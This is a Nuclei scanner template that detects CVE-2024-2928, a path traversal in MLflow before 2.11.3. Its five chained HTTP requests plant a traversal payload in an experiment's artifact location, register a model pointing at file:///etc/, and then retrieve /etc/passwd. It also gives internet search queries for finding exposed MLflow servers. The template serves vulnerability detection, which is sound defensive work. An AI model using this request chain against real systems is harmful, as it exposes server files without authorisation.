MLflow < 2.11.3 - Path Traversal

id: CVE-2024-2928

info:
  name: MLflow < 2.11.3 - Path Traversal
  author: jyjyjy25,gy741,oriing,ANseunghyeon,woo4826
  severity: high
  description: |
    MLflow versions prior to 2.11.3 are vulnerable to a Path Traversal attack due to improper URI fragment parsing. This vulnerability allows attackers to read arbitrary files on the server, potentially exposing sensitive information.
  impact: |
    Successful exploitation could allow an attacker to read arbitrary files such as /etc/passwd in the local file system.
  remediation: |
    Upgrade MLflow to version 2.11.3 or later to mitigate this issue.
  reference:
    - https://huntr.com/bounties/19bf02d7-6393-4a95-b9d0-d6d4d2d8c298
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2928
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-2928
    cwe-id: CWE-29
    epss-score: 0.21847
    epss-percentile: 0.97342
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2024,mlflow,lfi,intrusive,lfprojects,vuln

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "artifact_location": "http:\/\/\/#\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/"}

      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{randstr}}", "run_id": "{{RUN_ID}}", "source": "file:///etc/"}

      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_5
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_5
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true

      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true
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